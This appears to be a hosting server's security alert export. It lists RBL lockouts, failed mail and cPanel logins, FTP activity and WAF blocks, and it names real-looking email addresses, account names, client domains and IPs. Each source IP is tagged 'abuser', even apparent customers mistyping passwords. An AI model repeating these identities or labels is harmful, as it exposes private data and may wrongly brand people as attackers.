name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:16:52 sv3 pure-ftpd[449849]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1042_PMR Wealth_Products_Awareness_(Banca)_eDM/edm2/images/banner.jpg


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:16:34 sv3 pure-ftpd[449849]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:16:39 sv3 pure-ftpd[449849]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.18
country_id: 690791
description:
Jan 13 14:18:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.141.249.219
country_id: 3469034
description:
Jan 13 14:18:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.141.249.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.205.221.203
country_id: 3469034
description:
Jan 13 14:19:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.205.221.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.133
country_id: 298795
description:
Jan 13 14:20:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.239
country_id: 3175395
description:
Jan 13 14:20:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.15
country_id: 798544
description:
Jan 13 14:19:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.52.193.67
country_id: 719819
description:
2026-01-13 14:19:24 dovecot_plain authenticator failed for H=(DESKTOP-CHB8C01) [92.52.193.67]:44062: 535 Incorrect authentication data (set_id=alex_santiago@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.57.17
country_id: 3469034
description:
Jan 13 14:19:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.57.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.239
country_id: 3175395
description:
Jan 13 14:20:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.133
country_id: 298795
description:
Jan 13 14:20:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.54
country_id: 732800
description:
Jan 13 14:20:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:21:07 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14740: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:21:16 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14740: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 14:21:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.193.152.64
country_id: 1668284
description:
Jan 13 14:22:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.193.152.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.255.0.22
country_id: 3469034
description:
Jan 13 14:22:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.255.0.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.193.152.64
country_id: 1668284
description:
2026-01-13 14:22:44 dovecot_login authenticator failed for H=123-193-152-64.dynamic.kbronet.com.tw [123.193.152.64]:41810: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:23:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:40129: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 14:25:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.216.39.186
country_id: 6290252
description:
Jan 13 14:26:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.216.39.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 14:27:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.187
country_id: 953987
description:
Jan 13 14:27:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.187
country_id: 953987
description:
Jan 13 14:28:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.97.117
country_id: 6290252
description:
Jan 13 14:28:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.97.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.90.250.241
country_id: 3469034
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/webfonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.196
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/webfonts/inspiro-icons92ed.ttf?ijzgpf HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.129
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/webfonts/fa-solid-900.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.219
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/css/plugins.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.182
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/css/style.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.247.48
country_id: 798544
description:
Jan 13 14:30:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.247.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.70
country_id: 1269750
description:
Jan 13 14:30:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59696: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.70
country_id: 1269750
description:
Jan 13 14:31:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:31:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59697: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 14:31:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.244.255.21
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/lose/12/195/1201669 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.248.74.236
country_id: 2363686
description:
Jan 13 14:33:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.248.74.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 14:34:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63677: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.206
country_id: 1269750
description:
Jan 13 14:34:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.206 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.151.46
country_id: 99237
description:
[2026-01-13 14:34:55 +0800] info [whostmgrd] 5.175.151.46 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.173
country_id: 3175395
description:
Jan 13 14:35:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 14:34:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63677: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.173
country_id: 3175395
description:
Jan 13 14:35:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.120.129.7
country_id: 690791
description:
Jan 13 14:35:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.120.129.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.105.121.124
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-37.198.105.121.124||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.63
country_id: 3175395
description:
Jan 13 14:36:37 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.78
country_id: 2510769
description:
Jan 13 14:36:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.78
country_id: 2510769
description:
Jan 13 14:37:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.115
country_id: 953987
description:
Jan 13 14:37:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.39.33.107
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-38.194.39.33.107||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.171.102
country_id: 3469034
description:
Jan 13 14:40:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.171.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.209.248.138
country_id: 798544
description:
Jan 13 14:41:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.209.248.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.221.235.103
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/stamp/310/214313 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.253.177.153
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/StoreAppointmentsRequest.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.172
country_id: 2395170
description:
Jan 13 14:47:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.44.105.225
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-46.152.44.105.225||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.172
country_id: 2395170
description:
Jan 13 14:47:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:49:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14742: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:48:37 sv3 pure-ftpd[526263]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:48:38 sv3 pure-ftpd[526263]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:48:49 sv3 pure-ftpd[526484]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1050-PMR_MGM_2026_LP/mgm/index.html uploaded  (70768 bytes, 1552.57KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:49:09 sv3 pure-ftpd[526484]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1050-PMR_MGM_2026_LP/mgm2/img/premier-mgm/vector/icon-whatsapp.svg uploaded  (1887 bytes, 24.78KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:49:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14743: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.108.134
country_id: 798544
description:
Jan 13 14:49:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.108.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.11.63
country_id: 3077311
description:
Jan 13 14:50:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.11.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.232
country_id: 690791
description:
Jan 13 14:50:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.232 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:50:38 sv3 pure-ftpd[531260]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.230
country_id: 3865483
description:
Jan 13 14:50:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.11.63
country_id: 3077311
description:
Jan 13 14:50:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.11.63 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:50:34 sv3 pure-ftpd[526263]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1050-PMR_MGM_2026_LP/mgm2/images/privilege_mobile4.jpg


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:50:40 sv3 pure-ftpd[531260]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1050_PMR_MGM_2026_edm/premier_edm.html uploaded  (45996 bytes, 748.16KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:51:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:40777: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:51:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:40777: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.74
country_id: 953987
description:
Jan 13 14:51:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.205.142.185
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/ramsey/uuid/src/UuidFactoryInterface.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.106.155.11
country_id: 798544
description:
Jan 13 14:55:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.106.155.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.59.224.101
country_id: 798544
description:
Jan 13 14:55:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.59.224.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.216.79
country_id: 953987
description:
Jan 13 14:56:03 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.216.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.194.70.79
country_id: 1269750
description:
Jan 13 14:55:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.194.70.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.216.79
country_id: 953987
description:
Jan 13 14:56:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.216.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:59:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59729: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.43.16.224
country_id: 3175395
description:
Jan 13 14:58:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.43.16.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.26
country_id: 1668284
description:
Jan 13 14:58:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.70.126.79
country_id: 1269750
description:
Jan 13 14:59:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.70.126.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:59:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59729: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:02:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55476: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.113
country_id: 6252001
description:
Jan 13 15:02:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.112.113
country_id: 6252001
description:
2026-01-13 15:02:09 dovecot_login authenticator failed for H=(lvdxsi) [92.118.112.113]:55853: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:02:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55476: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.252.198.184
country_id: 3489940
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/TranslatorBagInterface.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.202.101
country_id: 6252001
description:
Jan 13 15:09:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.154.202.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.202.101
country_id: 6252001
description:
2026-01-13 15:09:11 dovecot_login authenticator failed for H=([165.154.202.101]) [165.154.202.101]:33676: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.152.96
country_id: 99237
description:
Jan 13 15:11:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.152.96 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.74.237.1
country_id: 1562822
description:
2026-01-13 15:13:39 dovecot_login authenticator failed for H=([127.0.0.1]) [27.74.237.1]:22621: 535 Incorrect authentication data (set_id=inf@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.162.72.237
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=241640 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.179.73.109
country_id: 3624060
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=587020 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.25
country_id: 3175395
description:
Jan 13 15:15:37 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.14.158.243
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=841251 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.44.184.178
country_id: 357994
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=192351 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.183.236.12
country_id: 3469034
domain: www.cabe.com.my
description:
